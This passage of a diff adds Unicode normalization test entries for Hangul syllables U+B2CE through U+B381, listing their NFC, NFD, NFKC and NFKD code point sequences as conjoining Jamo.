+{ source: [0xB2CE], NFC: [0xB2CE], NFD: [0x1102, 0x1175, 0x11AD], NFKC: [0xB2CE], NFKD: [0x1102, 0x1175, 0x11AD] },
+{ source: [0xB2CF], NFC: [0xB2CF], NFD: [0x1102, 0x1175, 0x11AE], NFKC: [0xB2CF], NFKD: [0x1102, 0x1175, 0x11AE] },
+{ source: [0xB2D0], NFC: [0xB2D0], NFD: [0x1102, 0x1175, 0x11AF], NFKC: [0xB2D0], NFKD: [0x1102, 0x1175, 0x11AF] },
+{ source: [0xB2D1], NFC: [0xB2D1], NFD: [0x1102, 0x1175, 0x11B0], NFKC: [0xB2D1], NFKD: [0x1102, 0x1175, 0x11B0] },
+{ source: [0xB2D2], NFC: [0xB2D2], NFD: [0x1102, 0x1175, 0x11B1], NFKC: [0xB2D2], NFKD: [0x1102, 0x1175, 0x11B1] },
+{ source: [0xB2D3], NFC: [0xB2D3], NFD: [0x1102, 0x1175, 0x11B2], NFKC: [0xB2D3], NFKD: [0x1102, 0x1175, 0x11B2] },
+{ source: [0xB2D4], NFC: [0xB2D4], NFD: [0x1102, 0x1175, 0x11B3], NFKC: [0xB2D4], NFKD: [0x1102, 0x1175, 0x11B3] },
+{ source: [0xB2D5], NFC: [0xB2D5], NFD: [0x1102, 0x1175, 0x11B4], NFKC: [0xB2D5], NFKD: [0x1102, 0x1175, 0x11B4] },
+{ source: [0xB2D6], NFC: [0xB2D6], NFD: [0x1102, 0x1175, 0x11B5], NFKC: [0xB2D6], NFKD: [0x1102, 0x1175, 0x11B5] },
+{ source: [0xB2D7], NFC: [0xB2D7], NFD: [0x1102, 0x1175, 0x11B6], NFKC: [0xB2D7], NFKD: [0x1102, 0x1175, 0x11B6] },
+{ source: [0xB2D8], NFC: [0xB2D8], NFD: [0x1102, 0x1175, 0x11B7], NFKC: [0xB2D8], NFKD: [0x1102, 0x1175, 0x11B7] },
+{ source: [0xB2D9], NFC: [0xB2D9], NFD: [0x1102, 0x1175, 0x11B8], NFKC: [0xB2D9], NFKD: [0x1102, 0x1175, 0x11B8] },
+{ source: [0xB2DA], NFC: [0xB2DA], NFD: [0x1102, 0x1175, 0x11B9], NFKC: [0xB2DA], NFKD: [0x1102, 0x1175, 0x11B9] },
+{ source: [0xB2DB], NFC: [0xB2DB], NFD: [0x1102, 0x1175, 0x11BA], NFKC: [0xB2DB], NFKD: [0x1102, 0x1175, 0x11BA] },
+{ source: [0xB2DC], NFC: [0xB2DC], NFD: [0x1102, 0x1175, 0x11BB], NFKC: [0xB2DC], NFKD: [0x1102, 0x1175, 0x11BB] },
+{ source: [0xB2DD], NFC: [0xB2DD], NFD: [0x1102, 0x1175, 0x11BC], NFKC: [0xB2DD], NFKD: [0x1102, 0x1175, 0x11BC] },
+{ source: [0xB2DE], NFC: [0xB2DE], NFD: [0x1102, 0x1175, 0x11BD], NFKC: [0xB2DE], NFKD: [0x1102, 0x1175, 0x11BD] },
+{ source: [0xB2DF], NFC: [0xB2DF], NFD: [0x1102, 0x1175, 0x11BE], NFKC: [0xB2DF], NFKD: [0x1102, 0x1175, 0x11BE] },
+{ source: [0xB2E0], NFC: [0xB2E0], NFD: [0x1102, 0x1175, 0x11BF], NFKC: [0xB2E0], NFKD: [0x1102, 0x1175, 0x11BF] },
+{ source: [0xB2E1], NFC: [0xB2E1], NFD: [0x1102, 0x1175, 0x11C0], NFKC: [0xB2E1], NFKD: [0x1102, 0x1175, 0x11C0] },
+{ source: [0xB2E2], NFC: [0xB2E2], NFD: [0x1102, 0x1175, 0x11C1], NFKC: [0xB2E2], NFKD: [0x1102, 0x1175, 0x11C1] },
+{ source: [0xB2E3], NFC: [0xB2E3], NFD: [0x1102, 0x1175, 0x11C2], NFKC: [0xB2E3], NFKD: [0x1102, 0x1175, 0x11C2] },
+{ source: [0xB2E4], NFC: [0xB2E4], NFD: [0x1103, 0x1161], NFKC: [0xB2E4], NFKD: [0x1103, 0x1161] },
+{ source: [0xB2E5], NFC: [0xB2E5], NFD: [0x1103, 0x1161, 0x11A8], NFKC: [0xB2E5], NFKD: [0x1103, 0x1161, 0x11A8] },
+{ source: [0xB2E6], NFC: [0xB2E6], NFD: [0x1103, 0x1161, 0x11A9], NFKC: [0xB2E6], NFKD: [0x1103, 0x1161, 0x11A9] },
+{ source: [0xB2E7], NFC: [0xB2E7], NFD: [0x1103, 0x1161, 0x11AA], NFKC: [0xB2E7], NFKD: [0x1103, 0x1161, 0x11AA] },
+{ source: [0xB2E8], NFC: [0xB2E8], NFD: [0x1103, 0x1161, 0x11AB], NFKC: [0xB2E8], NFKD: [0x1103, 0x1161, 0x11AB] },
+{ source: [0xB2E9], NFC: [0xB2E9], NFD: [0x1103, 0x1161, 0x11AC], NFKC: [0xB2E9], NFKD: [0x1103, 0x1161, 0x11AC] },
+{ source: [0xB2EA], NFC: [0xB2EA], NFD: [0x1103, 0x1161, 0x11AD], NFKC: [0xB2EA], NFKD: [0x1103, 0x1161, 0x11AD] },
+{ source: [0xB2EB], NFC: [0xB2EB], NFD: [0x1103, 0x1161, 0x11AE], NFKC: [0xB2EB], NFKD: [0x1103, 0x1161, 0x11AE] },
+{ source: [0xB2EC], NFC: [0xB2EC], NFD: [0x1103, 0x1161, 0x11AF], NFKC: [0xB2EC], NFKD: [0x1103, 0x1161, 0x11AF] },
+{ source: [0xB2ED], NFC: [0xB2ED], NFD: [0x1103, 0x1161, 0x11B0], NFKC: [0xB2ED], NFKD: [0x1103, 0x1161, 0x11B0] },
+{ source: [0xB2EE], NFC: [0xB2EE], NFD: [0x1103, 0x1161, 0x11B1], NFKC: [0xB2EE], NFKD: [0x1103, 0x1161, 0x11B1] },
+{ source: [0xB2EF], NFC: [0xB2EF], NFD: [0x1103, 0x1161, 0x11B2], NFKC: [0xB2EF], NFKD: [0x1103, 0x1161, 0x11B2] },
+{ source: [0xB2F0], NFC: [0xB2F0], NFD: [0x1103, 0x1161, 0x11B3], NFKC: [0xB2F0], NFKD: [0x1103, 0x1161, 0x11B3] },
+{ source: [0xB2F1], NFC: [0xB2F1], NFD: [0x1103, 0x1161, 0x11B4], NFKC: [0xB2F1], NFKD: [0x1103, 0x1161, 0x11B4] },
+{ source: [0xB2F2], NFC: [0xB2F2], NFD: [0x1103, 0x1161, 0x11B5], NFKC: [0xB2F2], NFKD: [0x1103, 0x1161, 0x11B5] },
+{ source: [0xB2F3], NFC: [0xB2F3], NFD: [0x1103, 0x1161, 0x11B6], NFKC: [0xB2F3], NFKD: [0x1103, 0x1161, 0x11B6] },
+{ source: [0xB2F4], NFC: [0xB2F4], NFD: [0x1103, 0x1161, 0x11B7], NFKC: [0xB2F4], NFKD: [0x1103, 0x1161, 0x11B7] },
+{ source: [0xB2F5], NFC: [0xB2F5], NFD: [0x1103, 0x1161, 0x11B8], NFKC: [0xB2F5], NFKD: [0x1103, 0x1161, 0x11B8] },
+{ source: [0xB2F6], NFC: [0xB2F6], NFD: [0x1103, 0x1161, 0x11B9], NFKC: [0xB2F6], NFKD: [0x1103, 0x1161, 0x11B9] },
+{ source: [0xB2F7], NFC: [0xB2F7], NFD: [0x1103, 0x1161, 0x11BA], NFKC: [0xB2F7], NFKD: [0x1103, 0x1161, 0x11BA] },
+{ source: [0xB2F8], NFC: [0xB2F8], NFD: [0x1103, 0x1161, 0x11BB], NFKC: [0xB2F8], NFKD: [0x1103, 0x1161, 0x11BB] },
+{ source: [0xB2F9], NFC: [0xB2F9], NFD: [0x1103, 0x1161, 0x11BC], NFKC: [0xB2F9], NFKD: [0x1103, 0x1161, 0x11BC] },
+{ source: [0xB2FA], NFC: [0xB2FA], NFD: [0x1103, 0x1161, 0x11BD], NFKC: [0xB2FA], NFKD: [0x1103, 0x1161, 0x11BD] },
+{ source: [0xB2FB], NFC: [0xB2FB], NFD: [0x1103, 0x1161, 0x11BE], NFKC: [0xB2FB], NFKD: [0x1103, 0x1161, 0x11BE] },
+{ source: [0xB2FC], NFC: [0xB2FC], NFD: [0x1103, 0x1161, 0x11BF], NFKC: [0xB2FC], NFKD: [0x1103, 0x1161, 0x11BF] },
+{ source: [0xB2FD], NFC: [0xB2FD], NFD: [0x1103, 0x1161, 0x11C0], NFKC: [0xB2FD], NFKD: [0x1103, 0x1161, 0x11C0] },
+{ source: [0xB2FE], NFC: [0xB2FE], NFD: [0x1103, 0x1161, 0x11C1], NFKC: [0xB2FE], NFKD: [0x1103, 0x1161, 0x11C1] },
+{ source: [0xB2FF], NFC: [0xB2FF], NFD: [0x1103, 0x1161, 0x11C2], NFKC: [0xB2FF], NFKD: [0x1103, 0x1161, 0x11C2] },
+{ source: [0xB300], NFC: [0xB300], NFD: [0x1103, 0x1162], NFKC: [0xB300], NFKD: [0x1103, 0x1162] },
+{ source: [0xB301], NFC: [0xB301], NFD: [0x1103, 0x1162, 0x11A8], NFKC: [0xB301], NFKD: [0x1103, 0x1162, 0x11A8] },
+{ source: [0xB302], NFC: [0xB302], NFD: [0x1103, 0x1162, 0x11A9], NFKC: [0xB302], NFKD: [0x1103, 0x1162, 0x11A9] },
+{ source: [0xB303], NFC: [0xB303], NFD: [0x1103, 0x1162, 0x11AA], NFKC: [0xB303], NFKD: [0x1103, 0x1162, 0x11AA] },
+{ source: [0xB304], NFC: [0xB304], NFD: [0x1103, 0x1162, 0x11AB], NFKC: [0xB304], NFKD: [0x1103, 0x1162, 0x11AB] },
+{ source: [0xB305], NFC: [0xB305], NFD: [0x1103, 0x1162, 0x11AC], NFKC: [0xB305], NFKD: [0x1103, 0x1162, 0x11AC] },
+{ source: [0xB306], NFC: [0xB306], NFD: [0x1103, 0x1162, 0x11AD], NFKC: [0xB306], NFKD: [0x1103, 0x1162, 0x11AD] },
+{ source: [0xB307], NFC: [0xB307], NFD: [0x1103, 0x1162, 0x11AE], NFKC: [0xB307], NFKD: [0x1103, 0x1162, 0x11AE] },
+{ source: [0xB308], NFC: [0xB308], NFD: [0x1103, 0x1162, 0x11AF], NFKC: [0xB308], NFKD: [0x1103, 0x1162, 0x11AF] },
+{ source: [0xB309], NFC: [0xB309], NFD: [0x1103, 0x1162, 0x11B0], NFKC: [0xB309], NFKD: [0x1103, 0x1162, 0x11B0] },
+{ source: [0xB30A], NFC: [0xB30A], NFD: [0x1103, 0x1162, 0x11B1], NFKC: [0xB30A], NFKD: [0x1103, 0x1162, 0x11B1] },
+{ source: [0xB30B], NFC: [0xB30B], NFD: [0x1103, 0x1162, 0x11B2], NFKC: [0xB30B], NFKD: [0x1103, 0x1162, 0x11B2] },
+{ source: [0xB30C], NFC: [0xB30C], NFD: [0x1103, 0x1162, 0x11B3], NFKC: [0xB30C], NFKD: [0x1103, 0x1162, 0x11B3] },
+{ source: [0xB30D], NFC: [0xB30D], NFD: [0x1103, 0x1162, 0x11B4], NFKC: [0xB30D], NFKD: [0x1103, 0x1162, 0x11B4] },
+{ source: [0xB30E], NFC: [0xB30E], NFD: [0x1103, 0x1162, 0x11B5], NFKC: [0xB30E], NFKD: [0x1103, 0x1162, 0x11B5] },
+{ source: [0xB30F], NFC: [0xB30F], NFD: [0x1103, 0x1162, 0x11B6], NFKC: [0xB30F], NFKD: [0x1103, 0x1162, 0x11B6] },
+{ source: [0xB310], NFC: [0xB310], NFD: [0x1103, 0x1162, 0x11B7], NFKC: [0xB310], NFKD: [0x1103, 0x1162, 0x11B7] },
+{ source: [0xB311], NFC: [0xB311], NFD: [0x1103, 0x1162, 0x11B8], NFKC: [0xB311], NFKD: [0x1103, 0x1162, 0x11B8] },
+{ source: [0xB312], NFC: [0xB312], NFD: [0x1103, 0x1162, 0x11B9], NFKC: [0xB312], NFKD: [0x1103, 0x1162, 0x11B9] },
+{ source: [0xB313], NFC: [0xB313], NFD: [0x1103, 0x1162, 0x11BA], NFKC: [0xB313], NFKD: [0x1103, 0x1162, 0x11BA] },
+{ source: [0xB314], NFC: [0xB314], NFD: [0x1103, 0x1162, 0x11BB], NFKC: [0xB314], NFKD: [0x1103, 0x1162, 0x11BB] },
+{ source: [0xB315], NFC: [0xB315], NFD: [0x1103, 0x1162, 0x11BC], NFKC: [0xB315], NFKD: [0x1103, 0x1162, 0x11BC] },
+{ source: [0xB316], NFC: [0xB316], NFD: [0x1103, 0x1162, 0x11BD], NFKC: [0xB316], NFKD: [0x1103, 0x1162, 0x11BD] },
+{ source: [0xB317], NFC: [0xB317], NFD: [0x1103, 0x1162, 0x11BE], NFKC: [0xB317], NFKD: [0x1103, 0x1162, 0x11BE] },
+{ source: [0xB318], NFC: [0xB318], NFD: [0x1103, 0x1162, 0x11BF], NFKC: [0xB318], NFKD: [0x1103, 0x1162, 0x11BF] },
+{ source: [0xB319], NFC: [0xB319], NFD: [0x1103, 0x1162, 0x11C0], NFKC: [0xB319], NFKD: [0x1103, 0x1162, 0x11C0] },
+{ source: [0xB31A], NFC: [0xB31A], NFD: [0x1103, 0x1162, 0x11C1], NFKC: [0xB31A], NFKD: [0x1103, 0x1162, 0x11C1] },
+{ source: [0xB31B], NFC: [0xB31B], NFD: [0x1103, 0x1162, 0x11C2], NFKC: [0xB31B], NFKD: [0x1103, 0x1162, 0x11C2] },
+{ source: [0xB31C], NFC: [0xB31C], NFD: [0x1103, 0x1163], NFKC: [0xB31C], NFKD: [0x1103, 0x1163] },
+{ source: [0xB31D], NFC: [0xB31D], NFD: [0x1103, 0x1163, 0x11A8], NFKC: [0xB31D], NFKD: [0x1103, 0x1163, 0x11A8] },
+{ source: [0xB31E], NFC: [0xB31E], NFD: [0x1103, 0x1163, 0x11A9], NFKC: [0xB31E], NFKD: [0x1103, 0x1163, 0x11A9] },
+{ source: [0xB31F], NFC: [0xB31F], NFD: [0x1103, 0x1163, 0x11AA], NFKC: [0xB31F], NFKD: [0x1103, 0x1163, 0x11AA] },
+{ source: [0xB320], NFC: [0xB320], NFD: [0x1103, 0x1163, 0x11AB], NFKC: [0xB320], NFKD: [0x1103, 0x1163, 0x11AB] },
+{ source: [0xB321], NFC: [0xB321], NFD: [0x1103, 0x1163, 0x11AC], NFKC: [0xB321], NFKD: [0x1103, 0x1163, 0x11AC] },
+{ source: [0xB322], NFC: [0xB322], NFD: [0x1103, 0x1163, 0x11AD], NFKC: [0xB322], NFKD: [0x1103, 0x1163, 0x11AD] },
+{ source: [0xB323], NFC: [0xB323], NFD: [0x1103, 0x1163, 0x11AE], NFKC: [0xB323], NFKD: [0x1103, 0x1163, 0x11AE] },
+{ source: [0xB324], NFC: [0xB324], NFD: [0x1103, 0x1163, 0x11AF], NFKC: [0xB324], NFKD: [0x1103, 0x1163, 0x11AF] },
+{ source: [0xB325], NFC: [0xB325], NFD: [0x1103, 0x1163, 0x11B0], NFKC: [0xB325], NFKD: [0x1103, 0x1163, 0x11B0] },
+{ source: [0xB326], NFC: [0xB326], NFD: [0x1103, 0x1163, 0x11B1], NFKC: [0xB326], NFKD: [0x1103, 0x1163, 0x11B1] },
+{ source: [0xB327], NFC: [0xB327], NFD: [0x1103, 0x1163, 0x11B2], NFKC: [0xB327], NFKD: [0x1103, 0x1163, 0x11B2] },
+{ source: [0xB328], NFC: [0xB328], NFD: [0x1103, 0x1163, 0x11B3], NFKC: [0xB328], NFKD: [0x1103, 0x1163, 0x11B3] },
+{ source: [0xB329], NFC: [0xB329], NFD: [0x1103, 0x1163, 0x11B4], NFKC: [0xB329], NFKD: [0x1103, 0x1163, 0x11B4] },
+{ source: [0xB32A], NFC: [0xB32A], NFD: [0x1103, 0x1163, 0x11B5], NFKC: [0xB32A], NFKD: [0x1103, 0x1163, 0x11B5] },
+{ source: [0xB32B], NFC: [0xB32B], NFD: [0x1103, 0x1163, 0x11B6], NFKC: [0xB32B], NFKD: [0x1103, 0x1163, 0x11B6] },
+{ source: [0xB32C], NFC: [0xB32C], NFD: [0x1103, 0x1163, 0x11B7], NFKC: [0xB32C], NFKD: [0x1103, 0x1163, 0x11B7] },
+{ source: [0xB32D], NFC: [0xB32D], NFD: [0x1103, 0x1163, 0x11B8], NFKC: [0xB32D], NFKD: [0x1103, 0x1163, 0x11B8] },
+{ source: [0xB32E], NFC: [0xB32E], NFD: [0x1103, 0x1163, 0x11B9], NFKC: [0xB32E], NFKD: [0x1103, 0x1163, 0x11B9] },
+{ source: [0xB32F], NFC: [0xB32F], NFD: [0x1103, 0x1163, 0x11BA], NFKC: [0xB32F], NFKD: [0x1103, 0x1163, 0x11BA] },
+{ source: [0xB330], NFC: [0xB330], NFD: [0x1103, 0x1163, 0x11BB], NFKC: [0xB330], NFKD: [0x1103, 0x1163, 0x11BB] },
+{ source: [0xB331], NFC: [0xB331], NFD: [0x1103, 0x1163, 0x11BC], NFKC: [0xB331], NFKD: [0x1103, 0x1163, 0x11BC] },
+{ source: [0xB332], NFC: [0xB332], NFD: [0x1103, 0x1163, 0x11BD], NFKC: [0xB332], NFKD: [0x1103, 0x1163, 0x11BD] },
+{ source: [0xB333], NFC: [0xB333], NFD: [0x1103, 0x1163, 0x11BE], NFKC: [0xB333], NFKD: [0x1103, 0x1163, 0x11BE] },
+{ source: [0xB334], NFC: [0xB334], NFD: [0x1103, 0x1163, 0x11BF], NFKC: [0xB334], NFKD: [0x1103, 0x1163, 0x11BF] },
+{ source: [0xB335], NFC: [0xB335], NFD: [0x1103, 0x1163, 0x11C0], NFKC: [0xB335], NFKD: [0x1103, 0x1163, 0x11C0] },
+{ source: [0xB336], NFC: [0xB336], NFD: [0x1103, 0x1163, 0x11C1], NFKC: [0xB336], NFKD: [0x1103, 0x1163, 0x11C1] },
+{ source: [0xB337], NFC: [0xB337], NFD: [0x1103, 0x1163, 0x11C2], NFKC: [0xB337], NFKD: [0x1103, 0x1163, 0x11C2] },
+{ source: [0xB338], NFC: [0xB338], NFD: [0x1103, 0x1164], NFKC: [0xB338], NFKD: [0x1103, 0x1164] },
+{ source: [0xB339], NFC: [0xB339], NFD: [0x1103, 0x1164, 0x11A8], NFKC: [0xB339], NFKD: [0x1103, 0x1164, 0x11A8] },
+{ source: [0xB33A], NFC: [0xB33A], NFD: [0x1103, 0x1164, 0x11A9], NFKC: [0xB33A], NFKD: [0x1103, 0x1164, 0x11A9] },
+{ source: [0xB33B], NFC: [0xB33B], NFD: [0x1103, 0x1164, 0x11AA], NFKC: [0xB33B], NFKD: [0x1103, 0x1164, 0x11AA] },
+{ source: [0xB33C], NFC: [0xB33C], NFD: [0x1103, 0x1164, 0x11AB], NFKC: [0xB33C], NFKD: [0x1103, 0x1164, 0x11AB] },
+{ source: [0xB33D], NFC: [0xB33D], NFD: [0x1103, 0x1164, 0x11AC], NFKC: [0xB33D], NFKD: [0x1103, 0x1164, 0x11AC] },
+{ source: [0xB33E], NFC: [0xB33E], NFD: [0x1103, 0x1164, 0x11AD], NFKC: [0xB33E], NFKD: [0x1103, 0x1164, 0x11AD] },
+{ source: [0xB33F], NFC: [0xB33F], NFD: [0x1103, 0x1164, 0x11AE], NFKC: [0xB33F], NFKD: [0x1103, 0x1164, 0x11AE] },
+{ source: [0xB340], NFC: [0xB340], NFD: [0x1103, 0x1164, 0x11AF], NFKC: [0xB340], NFKD: [0x1103, 0x1164, 0x11AF] },
+{ source: [0xB341], NFC: [0xB341], NFD: [0x1103, 0x1164, 0x11B0], NFKC: [0xB341], NFKD: [0x1103, 0x1164, 0x11B0] },
+{ source: [0xB342], NFC: [0xB342], NFD: [0x1103, 0x1164, 0x11B1], NFKC: [0xB342], NFKD: [0x1103, 0x1164, 0x11B1] },
+{ source: [0xB343], NFC: [0xB343], NFD: [0x1103, 0x1164, 0x11B2], NFKC: [0xB343], NFKD: [0x1103, 0x1164, 0x11B2] },
+{ source: [0xB344], NFC: [0xB344], NFD: [0x1103, 0x1164, 0x11B3], NFKC: [0xB344], NFKD: [0x1103, 0x1164, 0x11B3] },
+{ source: [0xB345], NFC: [0xB345], NFD: [0x1103, 0x1164, 0x11B4], NFKC: [0xB345], NFKD: [0x1103, 0x1164, 0x11B4] },
+{ source: [0xB346], NFC: [0xB346], NFD: [0x1103, 0x1164, 0x11B5], NFKC: [0xB346], NFKD: [0x1103, 0x1164, 0x11B5] },
+{ source: [0xB347], NFC: [0xB347], NFD: [0x1103, 0x1164, 0x11B6], NFKC: [0xB347], NFKD: [0x1103, 0x1164, 0x11B6] },
+{ source: [0xB348], NFC: [0xB348], NFD: [0x1103, 0x1164, 0x11B7], NFKC: [0xB348], NFKD: [0x1103, 0x1164, 0x11B7] },
+{ source: [0xB349], NFC: [0xB349], NFD: [0x1103, 0x1164, 0x11B8], NFKC: [0xB349], NFKD: [0x1103, 0x1164, 0x11B8] },
+{ source: [0xB34A], NFC: [0xB34A], NFD: [0x1103, 0x1164, 0x11B9], NFKC: [0xB34A], NFKD: [0x1103, 0x1164, 0x11B9] },
+{ source: [0xB34B], NFC: [0xB34B], NFD: [0x1103, 0x1164, 0x11BA], NFKC: [0xB34B], NFKD: [0x1103, 0x1164, 0x11BA] },
+{ source: [0xB34C], NFC: [0xB34C], NFD: [0x1103, 0x1164, 0x11BB], NFKC: [0xB34C], NFKD: [0x1103, 0x1164, 0x11BB] },
+{ source: [0xB34D], NFC: [0xB34D], NFD: [0x1103, 0x1164, 0x11BC], NFKC: [0xB34D], NFKD: [0x1103, 0x1164, 0x11BC] },
+{ source: [0xB34E], NFC: [0xB34E], NFD: [0x1103, 0x1164, 0x11BD], NFKC: [0xB34E], NFKD: [0x1103, 0x1164, 0x11BD] },
+{ source: [0xB34F], NFC: [0xB34F], NFD: [0x1103, 0x1164, 0x11BE], NFKC: [0xB34F], NFKD: [0x1103, 0x1164, 0x11BE] },
+{ source: [0xB350], NFC: [0xB350], NFD: [0x1103, 0x1164, 0x11BF], NFKC: [0xB350], NFKD: [0x1103, 0x1164, 0x11BF] },
+{ source: [0xB351], NFC: [0xB351], NFD: [0x1103, 0x1164, 0x11C0], NFKC: [0xB351], NFKD: [0x1103, 0x1164, 0x11C0] },
+{ source: [0xB352], NFC: [0xB352], NFD: [0x1103, 0x1164, 0x11C1], NFKC: [0xB352], NFKD: [0x1103, 0x1164, 0x11C1] },
+{ source: [0xB353], NFC: [0xB353], NFD: [0x1103, 0x1164, 0x11C2], NFKC: [0xB353], NFKD: [0x1103, 0x1164, 0x11C2] },
+{ source: [0xB354], NFC: [0xB354], NFD: [0x1103, 0x1165], NFKC: [0xB354], NFKD: [0x1103, 0x1165] },
+{ source: [0xB355], NFC: [0xB355], NFD: [0x1103, 0x1165, 0x11A8], NFKC: [0xB355], NFKD: [0x1103, 0x1165, 0x11A8] },
+{ source: [0xB356], NFC: [0xB356], NFD: [0x1103, 0x1165, 0x11A9], NFKC: [0xB356], NFKD: [0x1103, 0x1165, 0x11A9] },
+{ source: [0xB357], NFC: [0xB357], NFD: [0x1103, 0x1165, 0x11AA], NFKC: [0xB357], NFKD: [0x1103, 0x1165, 0x11AA] },
+{ source: [0xB358], NFC: [0xB358], NFD: [0x1103, 0x1165, 0x11AB], NFKC: [0xB358], NFKD: [0x1103, 0x1165, 0x11AB] },
+{ source: [0xB359], NFC: [0xB359], NFD: [0x1103, 0x1165, 0x11AC], NFKC: [0xB359], NFKD: [0x1103, 0x1165, 0x11AC] },
+{ source: [0xB35A], NFC: [0xB35A], NFD: [0x1103, 0x1165, 0x11AD], NFKC: [0xB35A], NFKD: [0x1103, 0x1165, 0x11AD] },
+{ source: [0xB35B], NFC: [0xB35B], NFD: [0x1103, 0x1165, 0x11AE], NFKC: [0xB35B], NFKD: [0x1103, 0x1165, 0x11AE] },
+{ source: [0xB35C], NFC: [0xB35C], NFD: [0x1103, 0x1165, 0x11AF], NFKC: [0xB35C], NFKD: [0x1103, 0x1165, 0x11AF] },
+{ source: [0xB35D], NFC: [0xB35D], NFD: [0x1103, 0x1165, 0x11B0], NFKC: [0xB35D], NFKD: [0x1103, 0x1165, 0x11B0] },
+{ source: [0xB35E], NFC: [0xB35E], NFD: [0x1103, 0x1165, 0x11B1], NFKC: [0xB35E], NFKD: [0x1103, 0x1165, 0x11B1] },
+{ source: [0xB35F], NFC: [0xB35F], NFD: [0x1103, 0x1165, 0x11B2], NFKC: [0xB35F], NFKD: [0x1103, 0x1165, 0x11B2] },
+{ source: [0xB360], NFC: [0xB360], NFD: [0x1103, 0x1165, 0x11B3], NFKC: [0xB360], NFKD: [0x1103, 0x1165, 0x11B3] },
+{ source: [0xB361], NFC: [0xB361], NFD: [0x1103, 0x1165, 0x11B4], NFKC: [0xB361], NFKD: [0x1103, 0x1165, 0x11B4] },
+{ source: [0xB362], NFC: [0xB362], NFD: [0x1103, 0x1165, 0x11B5], NFKC: [0xB362], NFKD: [0x1103, 0x1165, 0x11B5] },
+{ source: [0xB363], NFC: [0xB363], NFD: [0x1103, 0x1165, 0x11B6], NFKC: [0xB363], NFKD: [0x1103, 0x1165, 0x11B6] },
+{ source: [0xB364], NFC: [0xB364], NFD: [0x1103, 0x1165, 0x11B7], NFKC: [0xB364], NFKD: [0x1103, 0x1165, 0x11B7] },
+{ source: [0xB365], NFC: [0xB365], NFD: [0x1103, 0x1165, 0x11B8], NFKC: [0xB365], NFKD: [0x1103, 0x1165, 0x11B8] },
+{ source: [0xB366], NFC: [0xB366], NFD: [0x1103, 0x1165, 0x11B9], NFKC: [0xB366], NFKD: [0x1103, 0x1165, 0x11B9] },
+{ source: [0xB367], NFC: [0xB367], NFD: [0x1103, 0x1165, 0x11BA], NFKC: [0xB367], NFKD: [0x1103, 0x1165, 0x11BA] },
+{ source: [0xB368], NFC: [0xB368], NFD: [0x1103, 0x1165, 0x11BB], NFKC: [0xB368], NFKD: [0x1103, 0x1165, 0x11BB] },
+{ source: [0xB369], NFC: [0xB369], NFD: [0x1103, 0x1165, 0x11BC], NFKC: [0xB369], NFKD: [0x1103, 0x1165, 0x11BC] },
+{ source: [0xB36A], NFC: [0xB36A], NFD: [0x1103, 0x1165, 0x11BD], NFKC: [0xB36A], NFKD: [0x1103, 0x1165, 0x11BD] },
+{ source: [0xB36B], NFC: [0xB36B], NFD: [0x1103, 0x1165, 0x11BE], NFKC: [0xB36B], NFKD: [0x1103, 0x1165, 0x11BE] },
+{ source: [0xB36C], NFC: [0xB36C], NFD: [0x1103, 0x1165, 0x11BF], NFKC: [0xB36C], NFKD: [0x1103, 0x1165, 0x11BF] },
+{ source: [0xB36D], NFC: [0xB36D], NFD: [0x1103, 0x1165, 0x11C0], NFKC: [0xB36D], NFKD: [0x1103, 0x1165, 0x11C0] },
+{ source: [0xB36E], NFC: [0xB36E], NFD: [0x1103, 0x1165, 0x11C1], NFKC: [0xB36E], NFKD: [0x1103, 0x1165, 0x11C1] },
+{ source: [0xB36F], NFC: [0xB36F], NFD: [0x1103, 0x1165, 0x11C2], NFKC: [0xB36F], NFKD: [0x1103, 0x1165, 0x11C2] },
+{ source: [0xB370], NFC: [0xB370], NFD: [0x1103, 0x1166], NFKC: [0xB370], NFKD: [0x1103, 0x1166] },
+{ source: [0xB371], NFC: [0xB371], NFD: [0x1103, 0x1166, 0x11A8], NFKC: [0xB371], NFKD: [0x1103, 0x1166, 0x11A8] },
+{ source: [0xB372], NFC: [0xB372], NFD: [0x1103, 0x1166, 0x11A9], NFKC: [0xB372], NFKD: [0x1103, 0x1166, 0x11A9] },
+{ source: [0xB373], NFC: [0xB373], NFD: [0x1103, 0x1166, 0x11AA], NFKC: [0xB373], NFKD: [0x1103, 0x1166, 0x11AA] },
+{ source: [0xB374], NFC: [0xB374], NFD: [0x1103, 0x1166, 0x11AB], NFKC: [0xB374], NFKD: [0x1103, 0x1166, 0x11AB] },
+{ source: [0xB375], NFC: [0xB375], NFD: [0x1103, 0x1166, 0x11AC], NFKC: [0xB375], NFKD: [0x1103, 0x1166, 0x11AC] },
+{ source: [0xB376], NFC: [0xB376], NFD: [0x1103, 0x1166, 0x11AD], NFKC: [0xB376], NFKD: [0x1103, 0x1166, 0x11AD] },
+{ source: [0xB377], NFC: [0xB377], NFD: [0x1103, 0x1166, 0x11AE], NFKC: [0xB377], NFKD: [0x1103, 0x1166, 0x11AE] },
+{ source: [0xB378], NFC: [0xB378], NFD: [0x1103, 0x1166, 0x11AF], NFKC: [0xB378], NFKD: [0x1103, 0x1166, 0x11AF] },
+{ source: [0xB379], NFC: [0xB379], NFD: [0x1103, 0x1166, 0x11B0], NFKC: [0xB379], NFKD: [0x1103, 0x1166, 0x11B0] },
+{ source: [0xB37A], NFC: [0xB37A], NFD: [0x1103, 0x1166, 0x11B1], NFKC: [0xB37A], NFKD: [0x1103, 0x1166, 0x11B1] },
+{ source: [0xB37B], NFC: [0xB37B], NFD: [0x1103, 0x1166, 0x11B2], NFKC: [0xB37B], NFKD: [0x1103, 0x1166, 0x11B2] },
+{ source: [0xB37C], NFC: [0xB37C], NFD: [0x1103, 0x1166, 0x11B3], NFKC: [0xB37C], NFKD: [0x1103, 0x1166, 0x11B3] },
+{ source: [0xB37D], NFC: [0xB37D], NFD: [0x1103, 0x1166, 0x11B4], NFKC: [0xB37D], NFKD: [0x1103, 0x1166, 0x11B4] },
+{ source: [0xB37E], NFC: [0xB37E], NFD: [0x1103, 0x1166, 0x11B5], NFKC: [0xB37E], NFKD: [0x1103, 0x1166, 0x11B5] },
+{ source: [0xB37F], NFC: [0xB37F], NFD: [0x1103, 0x1166, 0x11B6], NFKC: [0xB37F], NFKD: [0x1103, 0x1166, 0x11B6] },
+{ source: [0xB380], NFC: [0xB380], NFD: [0x1103, 0x1166, 0x11B7], NFKC: [0xB380], NFKD: [0x1103, 0x1166, 0x11B7] },
+{ source: [0xB381], NFC: [0xB381], NFD: [0x1103, 0x1166, 0x11B8], NFKC: [0xB381], NFKD: [0x1103, 0x1166, 0x11B8] },
